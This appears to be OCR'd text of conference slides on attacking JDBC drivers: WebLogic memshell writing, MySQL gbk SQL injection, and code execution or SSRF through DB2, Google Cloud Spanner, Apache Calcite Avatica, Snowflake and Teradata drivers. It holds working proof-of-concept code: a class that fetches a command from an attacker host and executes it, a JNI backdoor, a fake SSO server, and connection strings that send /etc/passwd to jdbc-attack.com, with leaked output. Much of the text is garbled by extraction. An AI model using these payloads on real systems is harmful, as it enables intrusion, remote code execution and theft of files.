3d$GfS$cl155fO$SKS8d$83msfeus7esdf$ss$SfbshdSbd$z$de$86$9a$d35US$atUS3asGSh$b9SR0Sd25uS$ael$a8sYS$Sc7j$9dSsSVIStSVESaT7SvSNScasyhos$805fas3a$855e9CS$c0$desSAS$e65c3XI$945c38dfSc7SvsafShS1SAwSYSdfSabsf4S$ES8cS$85%a
9590sfasUseefsfalz$9asyYSf635i15a55W$89$e4$865e3$sSa9F$kST25¢c295t5a9L$3e$f2C$81FS$d3TS80S8cSMSdcSb7$d2s5a55BYSFSQSESC85Z25ddSFhSIShbbs98Svb$at53$j5$d353E$89T35¢558e5¢ce$40yS$ce8$ISVSTOSe0sSYSd4LSebgScasmswy
$a8$7fDSPAS$SjS$db$9aps$3TSNSdT$Sobsc35e7g5GSe05e4m$3asks$995e55de$9bs$9dS$c6$a3$F$9eSbasbdsTasbbN$5ds$845dcSSLSb8ISTSb4$a95hs$3emHS815pNnS$e85e9r$9as7eSM$GS$e3G$8581$F4SMSMISCSeaQsddsb8$BS5d3$9eNS$T3HSadSPST7SS
ca$c4s$c4$815ecsf85bes7db$d5$3e$7$b20$855915k$91Y$qs$885FdS$c4659dSb4$3bshb65€93581e$935kSd6SHS SSSCO0SNESQSSb35TdSNS8eS$ZrsM$e9SYS3dSPNSZz$9bsjT$8e$3a5cdQSWS87EGY8Sec$d4$T25b0cs985a3sksebsusabsc3saasasls
acs$ivj$fo$a8se35uGs$3dsc2Q6587MGS$dO85ecsd45T2588c$845a35ces$8cs55d25F0QSqSUShbTSMSdasdfSXScfSMST158bsdastestex$c65825Vscfscocs8eczsfesjsS8cS8cSZS$Z85NS$865135af$dOcsdbsf4$Bps99$5e$a3G3$D3qs$TOSKS605c5%d
750$T0S$9¢cLS$Z$dbsS7c$90k0S$easYsSd555Y$e55b0S05d05d9$e55b1$81KS$e3593%5e358e$b1m$3ast7S$rz$c1169$beMS$d3$cbvs87$9dsT3scepsese3s8es$e3$3ascfqs0$3bshb553cSel1$98SASKS85a$3TShTSX$3bsc1sb1593%8eIsce8kSeasobs84sc
8$_09$a6t$cd$a7$i$93$s$5d$f1572%ae$d7$12535¢c7$8953b45eb$40SuSkSc7FsS$9f$a73505fbS$T2I$ae$82¢c1$AZ1$933$85595%5e350_5dc$a2$e10$8cSLSb75€e$s05915vS$T2$S$CS3cSyS$heszs7eSXSBS1$d0$93hs9bfgsjsc55d3sYSaacsiss8ls
3f$8e$a61A$PS$SalsWsdeGS4$83IXD2$3cASPSMeNS$SalsSWS1BST259eF$8d$3d$825KICSNZS$9453e$CScase75e85FdST412$8¢c$9eGS$TasddsBSd7Sdbt$9e$7eDNSc1I$F35c28YS$h9$84S$b4Sm$9c$al3K$8258bsWs855t$€95b25e0$alsrSnLWS84S$PSd1U
$NGOS$SISObST4$94$f012zZ25$F85U1SelyrSL_sn$8FSfOSoyS$85WScOStST7c$9bSTcsc2$j$fOShbTMSRhSbesws7c$81$d6$f4DSTfor$805e6$B$e8r$83NBST2gQsT575¢c85051T95¢cf$9158cS$eas3f$8e$jS$basadsA6$BSTo5d7i1$DSabIsec$e25d3$9357FSK
$fb$cc$als$9205d0$ISelasfaswsSK$a9SESTbG$840$a259465e13$8F$875845af$915KSVvSs$9a$R$besIS5b05a05$805SWS855cfQ$85x$d35T4ASA3SWS60SUpasLlssdsSps8F$C$925b0SchbSb3$80SNSYX$G$e559¢c$t$x$7dDShb85GS1$ddSansa3sf4si1sd
6S5ASb3$d1$T3$c25C55BSh$als3b$c25Qz$81$91$8e$¢c105df$a265b0$a35$f05d4mseas40$ef1$g$QsbeCs5bz3$af$gs$S5$desa2s1sd7$8bxXx$TSfes7e$SKEScc$7b0$8asGSefByShbsdes7bs$8csf$9f$40_35d3GSef$7fshd$acs _$3e$86_$845ffSa
25X$€e$c25a8%$815jn$0$d1LS$3f$F5591SQSyS$d00Sebs$7dse65e35TFSDScepSf1STSLSiSASA') .newInstance()};traceFileAppend=false;tracelLevel=-
l;traceFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/memshell.jsp;

")
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java.io.tmpdir=/var/folders/y2/p6q9zkin52571162r_ncq5Shh0000gn/T/, java.vendor.url.bug=http://bugreport.sun.com/bugreport/, os.arch=x86_64, java.awt.graphicsenv=sun.awt.CGraphicsEnvironment,
java.ext.dirs=/Users/pyn3rd/Library/Java/Extensions:/Library/Java/JavaVirtualMachines/jdk1.8.0_60.jdk/Contents/Home/jre/lib/ext:/Library/Java/Extensions:/Network/Library/Java/Extensions:/System/Library/Java/Extensions:/usr/lib/java,
user.dir=/Users/pyn3rd/Oracle/Middleware/Oracle_Home/user_projects/domains/base_domain, line.separator=\n, java.vm.name=Java HotSpot(TM) 64-Bit Server VM,

javax.management.builder.initial=weblogic.management.jmx.mbeanserver. WLSMBeanServerBuilder, file.encoding=UTF-8, org.omg.CORBA.ORBClass=weblogic.corba.orb.ORB, java.specification.version=1.8, launch.use.env.classpath=true } [ibm][db2]
[jcc] Dumping all file properties: { } [ibm][db2][jcc] END TRACE_DRIVER_CONFIGURATION [ibm][db2][jcc] BEGIN TRACE_CONNECTS [ibm][db2][jcc] Attempting connection to 127.0.0.1:5001/test [ibm][db2][jcc] Using properties: {

traceLevel=-1, traceFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/mshell.jsp, user=weblogic,
paSSWOrd=***************************************************************************************************************************************************************************************************** ‘

url=jdbc:db2://127.0.0.1:5001/test:password=$SBCEL$$$1$8bSISASASASASASASASadX $8bF7b$5b$e7Y $7f0Sy$5b$b2$05c75b6b$3bQFIbSa6MEb7n$898j$d7$b25S$c7$b1$93$55e$be$a3$bb$z$c9$91d$5d$b3$d0$)$j$jK$8a$8f$$$95$8enfSb0$c1$$$9:
traceFileAppend=false, username=weblogic } [ibm][db2][jcc] END TRACE_CONNECTS [ibm][db2][jcc] BEGIN TRACE_DIAGNOSTICS [ibm][db2][jcc][Thread:[ACTIVE] ExecuteThread: "7' for queue: 'weblogic.kernel.Default (self-tuning)']
[SQLException@1{432618] java.sql.SQLException [ibm][db2][jcc][Thread:[ACTIVE] ExecuteThread: '7' for queue: 'weblogic kernel.Default (self-tuning)'|[SQLException@1{432618] SQL state = null [ibm][db2][jcc][Thread:[ACTIVE] ExecuteThread:
"I' for queue: 'weblogic kernel.Default (self-tuning)'][SQLException@1f432618] Error code = -99999 [ibm][db2][jcc][Thread:[ACTIVE] ExecuteThread: "7' for queue: 'weblogic.kernel .Default (self-tuning)'|[SQLException@ 1f432618] Message = [1ibm]
[db2][jcc][10333][11649] No license was found. An appropriate license file db2jcc_license_*.jar must be provided in the CLASSPATH setting. [ibm][db2][jcc][Thread:[ACTIVE] ExecuteThread: '7' for queue: 'weblogic kernel.Default (self-tuning)']
[SQLException@ 1f432618] Stack trace follows com.ibm.db2.jcc.c.SqlException: [ibm][db2][jcc][10333][11649] No license was found. An appropriate license file db2jcc_license_*.jar must be provided in the CLASSPATH setting. at
com.ibm.db2.jcc.c.0.d(0.java:534) at com.ibm.db2.jcc.c.p.a(p.java:332) at com.ibm.db2.jcc.c.p.(p.java:404) at com.ibm.db2.jcc.b.b.(b.java:256) at com.ibm.db2.jcc.DB2Driver.connect(DB2Driver.java:163) at
weblogic.jdbc.common.internal.DataSourceUtil .testConnection0(DataSourceUtil .java:373) at weblogic.jdbc.common.internal . DataSourceUtil.access$000(DataSourceUtil java:24) at

weblogic.jdbc.common.internal.DataSourceUtil$ 1 .run(DataSourceUtil .java:287) at java.security.AccessController.doPrivileged(Native Method) at weblogic.jdbc.common.internal . DataSourceUtil testConnection(DataSourceUtil.java:284) at
com.bea.console.utils.jdbc.JDBCUtils.testConnection(JDBCUTils.java: 1011) at com.bea.console.actions.jdbc.datasources.createjdbcdatasource.CreateJDBCDataSource .testConnectionConfiguration(CreateJDBCDataSource.java: 524) at
sun.reflect.NativeMethodAccessorlmpl.invokeO(Native Method) at sun.reflect.NativeMethodAccessorlmpl.invoke(NativeMethod Accessorlmpl.java:62) at sun.reflect.DelegatingMethod Accessorlmpl.invoke(DelegatingMethod Accessorlmpl.java:43) at
java.lang.reflect. Method.invoke(Method.java:497) at org.apache.beehive.netui.pageflow . FlowController.invoke ActionMethod(FlowController.java:870) at

org.apache.beehive.netui.pageflow FlowController.getActionMethodForward(FlowController.java:809) at org.apache .beehive .netui.pageflow.FlowController.internalExecute(FlowController.java:478) at
org.apache.beehive.netui.pageflow.PageFlowController.internalExecute(PageFlowController.java:306) at org.apache .beehive.netui.pageflow.FlowController.execute(FlowController.java:336) at

& > C ® 127.0.0.1:7001/console/aaaa?cmd=Is%20-I HD % O® @ QO u © 8§ FE (o) ® % O v
total 40

drwXr=x=-- 3 pyn3rd staff 96 Jun 20 11:25 autodeploy
drwxr-x--- 21 pyn3rd staff 672 Jun 20 11:25 bin

drwxr-x--- 3 pyn3rd staff 96 Jun 20 11:25 common

drwxr-x--- 10 pyn3rd staff 320 Sep 14 13:33 config

drwXr=x=-- 3 pyn3rd staff 96 Jun 20 11:25 console-ext

I We—————— 1 pyn3rd staff 136 Sep 14 13:31 derby.log

WY =———— 1 pyn3rd staff 92 Sep 14 13:31 derbyShutdown.log
W= =———— 1 pyn3rd staff 263 Sep 14 13:31 edit.lok

—IW=L=———— 1 pyn3rd staff 327 Apr 26 2019 fileRealm.properties
drwxr-x--- 14 pyn3rd staff 448 Jun 20 11:25 init-info

drwXr=x=-- 7 pyn3rd staff 224 Sep 13 22:39 lib

drwXr-x--- 4 pyn3rd staff 128 Jun 20 11:25 nodemanager
drwxr-x--—- 3 pyn3rd staff 96 Jun 20 11:28 orchestration
drwxr-x--- 3 pyn3rd staff 96 Sep 14 13:36 original

drwxr-x--—- 2 pyn3rd staff 64 Apr 26 2019 resources

drwxr-x--- 7 pyn3rd staff 224 Jun 20 11:28 security

drwxXr=x=-- 3 pyn3rd staff 96 Jun 20 11:25 servers



Lexical Syntax Compatibility



MySQL JDBC Driver SQL Injection via setBlob Method

« ABLOB is a binary large object that can hold a variable amount of data
 BLOB values are treated as binary strings (byte strings)

« MySQL JDBC driver uses PreparedStatement.setBlob()
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MySQL JDBC Driver SQL Injection via setBlob Method

* PreparedStatement.setBlob()

@Override
setBlob( parameterIndex, InputStream inputStream) SQLException {
(checkClosed() .getConnectionMutex()) {
((PreparedQuery )
() .query) .getQueryBindings () .setBlob(getCoreParameterIndex (parameterIndex), inputStream) ;
}
}
@Override
setBlob( parameterIndex, InputStream inputStream, length) SQLException {
() (checkClosed() .getConnectionMutex()) A

((PreparedQuery )
.query) .getQueryBindings () .setBlob(getCoreParameterIndex (parameterIndex), inputStream, length);

}



MySQL JDBC Driver SQL Injection via setBlob Method

characterEncoding = gbk

ASCII Oct He X

| 39 Ox27

\\ 92 Ox5cC



* PreparedStatement.setBlob()

o append a couple of single quotes(') surrounding blob data

o escape the single quotes in blob data with backslash (\)

ASCII

HEX

ASCII

HEX

AR
—

) ; dr o ptabletl; #

MySQL JDBC Driver SQL Injection via setBlob Method

de 27 29 3b 64 72 6f 70 20 74 61 62 6¢c 65 20 74 31 3b 23 27

27|de 5¢

1 484 1
| —

e

);droptabletl;:;

1

. \ 1
27 29 3b 64 72 6f 70 20 74 6162 6¢ 65 20 74 31 3b 23 5¢ 27 27

" INSERT INTO t1 ( size,data ) VALUES (20,_ binary " 4

A

[ —

\'); drop table t1;

\Hn




MySQL JDBC Driver SQL Injection via setBlob Method

[ Dabase Server ]

JPG ’ 2

Payload Master MySQL Slave MySQL

DriverManager.registerDriver com.mysql.cj.jdbc.Driver

Connection conn

DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/test?user=root&password=pynerdl123&useUnicode=true&ch

aracterEncoding=gbk&allowMultiQueries=true");

PreparedStatement ps conn.prepareStatement (" tl (size, data 2,72)"
File file File("/Users/pyn3rd/exp.jpg"

FileInputStream fis FileInputStream(file

Ds.setInt (1 file. length

ns.setBlob (2, fis

DS .execute

fis.close



MySQL JDBC Driver SQL Injection via setBlob Method

Java.io.*;
java.sql. *;

MySQLJdbcDemo A
main(String[] args) ClassNotFoundException, SQLException, IOException {

DriverManager.registerDriver( com.mysql.cj.jdbc.Driver());

Connection conn DriverManager.getConnection( url: "jdbc:mysql://127.0.0.1:3306/test?user=root&password=pynerdl23&useUnicode=true&characterEncoding=gbk&allowMultiQueries=true");

PreparedStatement ps conn.prepareStatement( sql: "INSERT tl (size, data Prrdl):;
File file File( pathname: "/Users/pyn3rd/Downloads/jdbc-test/exp.jpg");
FileInputStream fis FileInputStream(file);

ps.setInt( parameterindex: 1, ( ) file.length());
ps.setBlob( parameterindex: 2, fis);
ps.execute();

Tisclose():

MySQLJdbcDemo

I/Library/Java/JavaViPtualMachines/jdkl.8.0_181.jdk/Contents/Home/bin/java
SQLSyntaxErrorException Create breakpoint
SQLError.java:120
SQLExceptionsMapping.java:122

ClientPreparedStatement.java: 953

ClientPreparedStatement.java:370

MySQLJdbcDemo.java:17




Unchecked Initialization Class
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IBM DB2 JCC Driver Remote Code Execution via Unchecked Class

pluginClassName

setPluginClassName (String paramString

pluginClassName paramString

String getPluginClassName
pluginClassName [ Getter and Setter ]

String getPluginClassName(Properties paramProperties

paramProperties.getProperty("pluginClassName"



IBM DB2 JCC Driver Remote Code Execution via Unchecked Class

« No Argument Constructor

javax.naming.NamingException;

java.10.I0Exception;

EvilObject {
EvilObject () NamingException, IOException {
javax.naming.InitialContext.doLookup("ldap://127.0.0.1:389/EvilObject");

¥



IBM DB2 JCC Driver Remote Code Execution via Unchecked Class

« No Argument Constructor

[ Thoughts Class J

DriverManager.registerDriver com.ibm.db2.jcc.DB2Driver

DriverManager.getConnection("jdbc:db2://127.0.0.1:5001/testdb:pluginClassName=com.example.demo.EvilObject;"
g g g



IBM DB2 JCC Driver Remote Code Execution via Unchecked Class

java.sql.DriverManager;

15 usages
DB2JCCDemo A
main(String[] args) Exception { 'Y X |
DriverManager.registerDriver( com.ibm.db2. jcc.DB2Driver());
AC Y- %
DriverManager.getConnection( url: "jdbc:db2://127.0.0.1:5001/testdb:pluginClassName=com.example.EvilObject;"); 7 8 S)
}

DB2JCCDemo

DBZ2Driver.java: 491

DB2Driver.java:117

DriverManager.java:b664

DriverManager.java:270
DB2JCCDemo.java:13

PrivilegedActionException Create breakpoint

1s.java:4586

SalException Create breakpoint

b7.3java:794

b7.3ava:66

b7.java:116

Process finished with exit code 1



IBM DB2 JCC Driver Remote Code Execution via Unchecked Class

Try to find a No Argument Constructor in the real-world scenario



JNI (Java Native Interface)

« System.loadLibrary method to revoke the libraries from various platforms

NAVAY JNI File

[Source Code] [ Byte Code J
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com.sun.security.auth.module.UnixSystem

@jdk.Exported

UnixSystem
getUnixInfo() ;

String username;
uid:;
gid;

groups:;

UnixSystem() {
System. loadLibrary("jaas_unix");

getUnixInfo();



IBM DB2 JCC Driver Remote Code Execution via Unchecked Class

Hijack the Java library (Java Authentication and Authorization Service)

com.sun.security.auth.module.UnixSystem (Linux )

- Public Constructor

com.sun.security.auth.module.NTSystem (Windows)

[ java.library.path J

/Library/Java/JavaVirtualMachines/jdk1.8.0 _181.jdk/Contents/Home/jre/lib

libjaas _unix.dylib



JNI Backdoor for Command Execution

#include <stdlib.h>
#include <string>

#include "jni.h"

using namespace std;

jint INI_OnLoad(JavaVMx vm, void* reserved) {
JNIEnv* env;

vm->AttachCurrentThread((void*x*x)&env, NULL) ;

jclass system_clazz = env->FindClass("java/lang/System'");
jmethodID get_property_method = env->GetStaticMethodID(system_clazz, "getProperty", "(Ljava/lang/String;)Ljava/lang/String;");
1T (get_property_method == NULL) {

return JNI_VERSION_1_2;

jboolean jsCopy;

const charx cmd = env->GetStringUTFChars(env->NewStringUTF("open -a calculator"), &jsCopy);
std: :string ee;

ee += cmd;

system(ee.c_str());

return JNI_VERSION_1_2;



IBM DB2 JCC Driver Remote Code Execution via Unchecked Class

¢ Remote Code Execution with JNI

DriverManager.registerDriver com.ibm.db2.jcc.DB2Driver

DriverManager.getConnection("jdbc:db2://127.0.0.1:5001/test:pluginClassName=com.sun.security.auth.module.

UnixSystem;"



IBM DB2 JCC Driver Remote Code Execution via Unchecked Class

java.sql.DriverManager;

DB2JcCDemo <
main(String[] args) Exception {

DriverManager.registerDriver( com.ibm.db2. jcc.DB2Driver());

DriverManager.getConnection( url: "jdbc:db2://127.0.0.1:5001/testdb:pluginClassName=com.example.EvilObject;");

AC - %

com.example.jdbc.attack.db2.DB2JCCDemo
| S e \

DB2Driver.java:117

DriverManager.java: 664

DriverManager.java:270
DB2JCCDemo.java:12

PrivilegedActionException Create breakpoint

is.java:4586

SalException Create breakpoint
b7.java:794

b7.java: 66

b7.java:116

ct.java:33
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Google Cloud Spanner Remote Code Execution via Unchecked Class

CredentialsProvider

@Nullable CredentialsProvider parseCredentialsProvider (String uri) {

String name parseUriProperty(uri, CREDENTIALS_PROVIDER_PROPERTY_NAME) ;

QEE ) {
{
Class CredentialsProvider> clazz
(Class CredentialsProvider>) Class.forName(name) ;
C) Constructor CredentialsProvider> constructor clazz.getDeclaredConstructor () ;

constructor.newInstance() ;
} (ClassNotFoundException classNotFoundException) {
SpannerExceptionFactory.newSpannerException(
ErrorCode.INVALID_ARGUMENT,
"Unknown or 1nvalid CredentialsProvider class name: " name,

classNotFoundException) ;



Run:

Google Cloud Spanner Remote Code Execution via Unchecked Class

java.sql.DriverManager;
java.sql.SQLException;

CloudSpannerDemo A
main(String[] args) SQLException {
System.setProperty("cmd","open -a calculator");
DriverManager.registerDriver( com.google.cloud.spanner. jdbc.JdbcDriver());

DriverManager.getConnection( url: "jdbc:cloudspanner:/projects/learning-pjm/instances/test/databases/test;credentialsProvider=com.sun.security.auth.module.UnixSystem");

¥ 'YX

AC -

com.mysql.jdbc.test.CloudSpannerDemo

virivel'ridiidyel’. |dvd . £ /U O
T CloudSpannerDemo.java:14 _
¥ ClassCastException Create breakpoint
o ConnectionOptions.java:747
=3 ConnectionOptions.java:564
= ConnectionOptions.java:83
= ConnectionOptions.java:508

JdbcDriver.java:195

Praorgcce finiched wit+h avit ende 1



Apache Calcite Avatica Remote Code Execution via Unchecked Class

* httpclient_impl

- The class which implements HTTPClient class used to send HTTP requests from client to server
* |nvocation of arbitrary constructor with URL argument due to unchecked superclass

 We reported and it was assigned CVE-2022-36364

DriverManager.registerDriver ( org.apache.calcite.avatica.remote.Driver());

[ Thoughts Class J

DriverManager.getConnection("jdbc:avatica:remote:url=https://sso.jdbc-
g g J

attack.com:443/api;httpclient_impl=com.example.avaticademo.CustomHttpClient");
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Apache Calcite Avatica Remote Code Execution via Unchecked Class

AvaticaHttpClient instantiateClient(String className, URL url) {

{
Class ol W4 Class.forName(className) ;
Constructor constructor clz.getConstructor (URL. ) ;

Object instance - constructor.newInstance(Objects.requireNonNull(url));
AvaticaHttpClient. .cast(instance) ;

} (Exception e) {

RuntimeException("Failed to construct AvaticaHttpClient implementation "

className, e);



Apache Calcite Avatica Remote Code Execution via Unchecked Class

com. fasterxml.jackson.databind.JsonNode;
com. fasterxml.jackson.databind.ObjectMapper:;
java.l0.*;

java.net.URL;

[ Thoughts Class ]
CustomHttpClient {

CustomHttpClient (URL url) IOException {
Object content url.getContent( );
(content InputStream) {
BufferedReader reader BufferedReader ( InputStreamReader ((InputStream)
content) ) ;
ObjectMapper mapper ObjectMapper () ;

JsonNode jnode mapper.readTree(reader) ;

String result = jnode.path("result").asText();
Runtime.getRuntime() .exec(result) ;

¥



Structure

M Bookmarks

Apache Calcite Avatica Remote Code Execution via Unchecked Class

java.sql.DriverManager;
java.sql.SQLException;

AvaticaDemo
main(String[] args) SQLException {
DriverManager.registerDriver( org.apache.calcite.avatica.remote.Driver());

DriverManager.getConnection( url: "jdbc:avatica:remote:url=https://jdbc-attack.com:443/api;httpclient impl=com.example.avaticademo.CustomHttpClient");

©» AvaticaDemo

Console Actuator

6
Run:
F 1
I
=L
- =
e |

/Library/Java/JavaVirtualMachines/jdk1.8.0_201.jdk/Contents/Home/bin/java

{"result":"open -a calculator"}

RuntimeException Create breakpoint

DriverManager

AvaticaHttpClientFactorvImpl.java:147

AvaticaHttpClientFactoryImpl.java:63

Driver.java:160

Driver.java:123

Driver.java:97

AvaticaConnection.java:121

AvaticaJddbc4lFactory.java:109

AvaticaJddbc4lFactory.java:65

UnregisteredDriver.java:138

Driver.java:165

.Java:664

AC

7

%

aseqeleq (((4

SuoneosylioN



Apache Calcite Avatica SSRF via Unchecked Class

Try to find a gadget in the real-world scenario



Apache Calcite Avatica SSRF via Unchecked Class

« Leverage dynamic analysis tools to look up the particular gadgets

» Verify the gadgets we find

com.sun.media.sound.SF2Soundbank
javax.swing.JEditorPane

jdk.internal.loader.FileURLMapper



Apache Calcite Avatica SSRF via Unchecked Class

sun.security.provider.PolicyFile

PolicyFile java.security.Policy {

PolicyFile(URL url) {
.url url;

init(url);



Apache Calcite Avatica SSRF via Arbitrary Class

Sensitive Information Leakage in JDBC Connecting Exception

AvaticaDemo{
main(String[] args) SQLException {
DriverManager.registerDriver( org.apache.calcite.avatica.remote.Driver());

DriverManager.getConnection( url: "jdbc:avatica:remote:url=https://jdbc-attack.com?file=/etc/passwd;httpclient impl=sun.security.provider.PolicyFile");

com.example.avaticademo.AvaticaDemo

m &Y € -

/Library/Java/JavaVirtualMachines/jdk1.8.0_201.jdk/Contents/Home/bin/java
https://jdbc-attack.com?file=/etc/passwd

RuntimeException Create breakpoint

AvaticaHttpClientFactoryvImpl.java:147

AvaticaHttpClientFactoryImpl.java:63

Driver.java:160

Driver.java:123

Driver.java:927

AvaticaConnection.java:121

AvaticaJddbc4lFactory.java:109

AvaticaJddbc4lFactory.java:65

UnregisteredDriver.java:138

Driver.java:165

DriverManager.java:664

DriverManager.java:270

AvaticaDemo.java:14
ClassCastException Create breakpoint

Class.java:3369

AvaticaHttpClientFactoryImpl. java:145




Incorrect Response Disposal



Snowflake Remote Code Execution via SSO Flow Response

Browser-based SSO
Relying on open (Mac), xdg-open (Linux), cmd (1) (Windows) - platform- and driver-specific RCE
Malicious SSO server can inject command via ssoUrl attribute in returned SSO response

RCE on MacOS (JDBC, NodeJS) and Windows (NodeJS)



Snowflake Remote Code Execution via SSO Flow Response

@Override

openBrowser (String ssoUrl) SFException {
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(java.awt.Desktop.isDesktopSupported()) {
URI uri URI (ssoUrl) ;
java.awt.Desktop.getDesktop() .browse(uri);

1
Runtime runtime Runtime.getRuntime() ;
Constants.0S os Constants.getO0S();
(os Constants.0S.MAC) {

runtime.exec("open " ssoUrl) ;
} {
runtime.exec("xdg-open " ssoUrl) ;

(URISyntaxException IOException ex) {

SFException(ex, ErrorCode.NETWORK_ERROR, ex.getMessage()):;



from flask import Flask,jsonify,request

app = Flask(__name__)

[ Fake Server ]

@app.route('/session/authenticator-request', methods = ['POST'])
def SSOJSON():
if(request.method == 'POST'):

jsonData = {"success": "true", "data": {"proofKey": "foo", '"ssoUrl": "calc'"}}

return jsonify(data)

if _ _name__ == ' main__':
app.run('0.0.0.0', debug=True, port=443, ssl_context=('/root/ssl/jdbc-attack.com_bundle.pem', '/root/ssl/jdbc-
attack.com.key'))



Snowflake Remote Code Execution via SSO Flow Response

e qAuthenticator=external

- To set up browser-based SSO from external for authentication

« JDBC driver requests https://<host>/session/authenticator-request and parses JSON response

» Passes the value of the data.ssoURL() JSON format property to Runtime.exec() as second parameter
- First parameter is open on MacOS

- Remote Code Execution on MacOS

DriverManager.registerDriver ( com.snowf lake.client.jdbc.SnowflakeDriver());

DriverManager.getConnection("jdbc:snowflake://jdbc-attack.com/?user=test&password=test&db=sdb&authenticator=externalbrowser") ;
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Snowflake Remote Code Execution via SSO Flow Response

java.sql.DriverManager;

SnowflakeDemo -
main(String[] args Exception -

DriverManager.registerDriver com.snowflake.client. jdbc.SnowflakeDriver

DriverManager.getConnection("jdbc:snowflake://jdbc-attack.com/?user=admin&password=123456&db=sdb&avthenticator=externalbrowser"

- JI « =

m

https://safe.qgovfz.com:443

https://safe.qovfz.com:443

https://safe.qgovfz.com:443

https://safe.qovfz.com:443

https://safe.qgovfz.com: 443

Initiating login request with your identity provider. A browser window should have opened for you to complete the login. If you can't see it, check existing browser windows, or your 0S settings. Press CTRL+C to abort and try



Google Cloud Spanner JDBC Driver Full Read SSRF

* GCP authentication allows delegated credentials to AWS
- Exposed a design flaw in GCP authentication library (in all languages that we looked at)

- Design flaw can lead to full read SSRF by supplying a crafted set of credentials

e encodedCredentials

- Allow users to set their own Google Cloud Platform credentials in Baseé64-encoded JSON through this undocumented property

String ENCODED_CREDENTIALS_PROPERTY_NAME "encodedCredentials";



Google Cloud Spanner JDBC Driver Full Read SSRF

GCP credential JSON is used for all auth to GCP

JSON is deserialized by different implementations

We are targeting the ExternalAccountCredentials.fromJson method
Supports many external credentials including AWS

AWS implementation makes several HTTP requests based on the provided config



Google Cloud Spanner JDBC Driver Full Read SSRF

 Crafted Credentials

"type": "external_account",

"audience": "test",

"subject_token_type": "test",

"token_url": "https://sts.google.apis.com/token",

"credential_source" {
"environment_id": "awsl",
"regional_cred_verification_url": "https://accounts.google.com/o/oauth2/auth",

"region_url": "https://accounts.google.com/o/oauth2/token",

"url": "https://www.googleapis.com/oauth2/vl/certs"
i

'"xservice_account_impersonation_url":"",

"token_info_url":"", [ Response JSON Format ]

"client_id":"client_id",

"client_secret":"client_secret",
"quota_project_id":"test",
"workforce_pool_user_project":"test"

}
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Google Cloud Spanner JDBC Driver Full Read SSRF

(awsCredentialSource.url awsCredentialSource.url.isEmpty()) {

TOException(

"Unable to determine the AWS IAM role name. The credential source does not contain the"

" url field.");

¥

String roleName

retrieveResource(awsCredentialSource.url, "IAM role", metadataRequestHeaders) ;

String awsCredentials

retrieveResource(

awsCredentialSource.url /" roleName, '"credentials", metadataRequestHeaders) ;

JsonParser parser

OAuth2Utils.JSON_FACTORY.createdsonParser (awsCredentials) ;

GenericJson genericJson parser.parseAndClose (GenericJson. )



Google Cloud Spanner JDBC Driver Full Read SSRF

DriverManager.registerDriver ( com.google.cloud.spanner.jdbc.JdbcDriver());

Connection conn

DriverManager.getConnection("jdbc:cloudspanner: /projects/pjm/instances/test/databases/test;encodedCredentials=ewogICJ0eXBlIjogl
mV4dGVybmFsX2FjY291bnQ1LAogICIhdWRpZW5]7ZSI6ICIOZXNOI1wWKICATc3ViamV]jdF90b2tlb190eXBlIjogInR1lc3Qi1LAogICIOb2tlbl91cmwiOi1AiaHROCHMG
Ly9zdHMuZ29vZ2x1lYXBpcy5jb20vdGOrZW41LAogICIjcmVkZW50aWFsX3NvdXJJZSI6IHsSKICAgICIlbnZpcmOubWVudFOpZCI6ICIhd3MxI1wKICAgICIyZWdpb25
hbF9jcmVkX3Z1lcmlmaWNhdGLlvbl91cmwiO1A1YW55dGhpbmcilLAogICAgInI1Z21lvb1l91cmwi01A1aHROCHMG6LY9qZGIjLWFOAGFjay5]b20vP2ZpbGUSL2VOYyYyowYX
Nzd2Qi1LAogICAgInVybCI6ICJodHRwczovL2pkYmMMtYXROYWNrLmNvbS8_ZmlsZTOVZXR]L3Bhc3N3ZCIKICBOLAogICIOb2tlbl9pbmZvX3VybCI6ICIhbnleaGluZ
yIsCiAgImNsaWVudF9pZCI6ICIjbGLllbnRfaWQiLAogICIjbGllbnRfc2VjcmVOIjogImNsaWVudF9zZWNyZXQ1LAogICIxdWo0YVOwcmOqgZWNOX21kIjogInR1lc3Q1
LAogICI3b3IrZmoyY2VfcGOvbF91c2VyX3Byb2plY3Qi0iAidGVzdCIKfQ==");

conn.createStatement() ;



44

Google Cloud Spanner JDBC Driver Full Read SSRF

System.out.println("Credentials JSON: " credentialsJson);

String credentialsJsonEncoded - Baseé4.getUrlEncoder() .encodeToString(credentialsJson.getBytes());

StrinégurlA' Sffihg;fgrmaft"ﬁdﬁé;gi§g§§gggﬁgt?/pfojébté/iéafﬁiﬁg-pjh/inéféﬁées/téSt/databases/test;encodedCredentials=%s", credentialsJsonEncoded) ;
System.out.printf("Construct JDBC Connection URL: %s%n", url);

DriverMénager.reéisterDriver( com.google.cloud.spanner. jdbc.JdbcDriver());

Connection connection DriverManager.getConnection(url) ;

connection.createStatement();

CloudSpannerFullSSRFPOC -

AwsLredentials.java:s44

AwsCredentials.java:162

AwsCredentials.java:142
OAuth2Credentials.java:257
OAuth2Credentials.java:254) <1 internal line>

https://jdbc-attack.com/?file=/etc/passwd/root:x:0:0:roo0t:/root:/bin/bash%20bin:x:1:1:bin:/bin:/sbin/nologin%20daemon:x:2:2:daemon:/sbin:/sbin/nologin%20adm:x:3:4:adm:/var/adm:/sbin/nologin%201p:X

http://www.w3.0org/TR/html4/1loose.dtd




Teradata JDBC Driver Remote Code Execution via SSO Command Injection

« BROWSER

- Leverages browser-based SSO via Teradata Server configuration enabling OpenlID Connect (OIDC) and JDBC URL parameter

* Client OIDC handling requires the server to confirm that OIDC is configured and this allows the JDBC driver to use the
browser-based SSO code path

 On any Teradata server where OIDC is enabled
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vare var6.replaceAll("PLACEHOLDER", varl2 "?response_type=code" "&client_1d="

Utility.safeForURL(var9) "&redirect _uri=" Utility.safeForURL(var20)
Utility.safeForURL(varl5s) "&code_challenge_method=S256" "&scope="
( .log.i1sTimingEnabled()) {
.log.timing("Launching browser " vare) ;

Process var2l2;

{

var22 Runtime.getRuntime() .exec(varo6) ;

1 (IOException var30) {

Utility. logEx(

.log, "Runtime exec", Utility.wrapEx(var30,

ErrorFactory.makeDriverJDBCException("TJ1551", var6)));

}

"&code_challenge="

Utility.safeForURL(var2l)) ;



Teradata JDBC Driver Remote Code Execution via SSO Command Injection

Create a "fake" Teradata server in Python which tells the client OIDC has been configured on the server
This tricks the client into allowing the BROWSER JDBC property
